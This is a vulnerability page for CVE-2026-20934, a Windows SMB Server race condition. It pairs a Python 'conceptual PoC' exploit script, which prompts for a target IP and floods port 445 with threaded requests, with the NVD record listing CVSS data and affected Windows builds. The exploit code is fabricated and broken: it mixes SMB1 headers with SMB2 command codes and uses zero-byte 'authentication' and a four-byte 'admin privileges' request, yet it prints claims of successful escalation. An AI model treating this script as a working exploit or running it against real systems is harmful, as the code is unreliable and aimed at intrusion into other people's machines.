CVE-2026-20934

# CVE-2026-20934 PoC - Race Condition in Windows SMB Server # This is a conceptual PoC demonstrating the race condition attack import socket import threading import time def send_smb_request(sock, request_type, payload): """Send SMB request with specific payload""" smb_header = b'\xffSMB' # SMB protocol header command = request_type # Construct SMB request packet packet = smb_header + bytes([command]) + payload sock.send(packet) return sock.recv(1024) def race_condition_attack(target_ip, target_port=445): """ Race condition exploit for CVE-2026-20934 Attack timeline: 1. Authenticate with low-privilege account 2. Send concurrent requests during privilege check window 3. Exploit timing to bypass authorization """ results = [] # Step 1: Establish SMB connection with low-privilege account sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock1.connect((target_ip, target_port)) # Step 2: Send initial authentication request auth_request = b'\x00' * 32 # Simplified auth packet send_smb_request(sock1, 0x73, auth_request) # SMB2 SESSION_SETUP # Step 3: Launch race condition with concurrent threads def trigger_race(thread_id): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Rapid-fire requests during privilege check window for i in range(10): # Crafted request to manipulate shared resource state crafted_payload = b'\x00' * 32 + bytes([thread_id, i]) response = send_smb_request(sock, 0x09, crafted_payload) # SMB2 CREATE results.append(response) time.sleep(0.001) # 1ms interval for race window sock.close() # Launch multiple threads to increase race condition probability threads = [] for i in range(5): t = threading.Thread(target=trigger_race, args=(i,)) threads.append(t) t.start() # Step 4: Wait for race condition to trigger time.sleep(0.5) # Step 5: Attempt privileged operation privileged_request = b'\x01\x00\x00\x00' # Request admin privileges final_response = send_smb_request(sock1, 0x18, privileged_request) # SMB2 TREE_CONNECT # Check if privilege escalation succeeded if b'\x00\x00\x00\x00' in final_response: print('[+] Race condition exploited successfully!') print('[+] Elevated privileges obtained') else: print('[-] Exploitation failed, retry with adjusted timing') # Cleanup for t in threads: t.join() sock1.close() if __name__ == '__main__': print('CVE-2026-20934 Windows SMB Server Race Condition PoC') target = input('Enter target IP: ') race_condition_attack(target)

{"cve": {"id": "CVE-2026-20934", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:20.333", "lastModified": "2026-01-16T15:17:38.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Windows SMB Server allows an authorized attacker to elevate privileges over a network."}, {"lang": "es", "value": "Ejecución concurrente utilizando un recurso compartido con sincronización inadecuada ('condición de carrera') en el servidor SMB de Windows permite a un atacante autorizado elevar privilegios a través de una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "9CFC3200-1FAB-4AB1-A008-F703EEF3505A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "E481E93D-D86E-4B65-93E5-200327C348C8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "F720EC9F-6A33-445F-AFA1-794405737E57"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "85E22F96-B552-4BBA-AFA1-85C1FC55DB32"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "5ACD940D-CA6A-402B-B132-E5A66139C44F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "354AD10F-EEF4-461D-BDBB-245B97E3D420"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "7D2B0BB9-E94A-420E-8E53-A4C1136DE73E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "78C4B71B-5345-4D83-A0A9-A15F783CF9A9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "208734FD-5175-4856-9D08-ED6CFF64AA14"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "846261D4-ECC2-4DCB-8F8F-F27F8C99F061"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "33E138A3-968B-4109-AC13-D488685F0AF2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "CC1FE5A1-3E6E-4606-899B-BF7BF3D3DD8D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "A059E609-F8D4-4246-BDAE-0AEDED1744D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:mi ... 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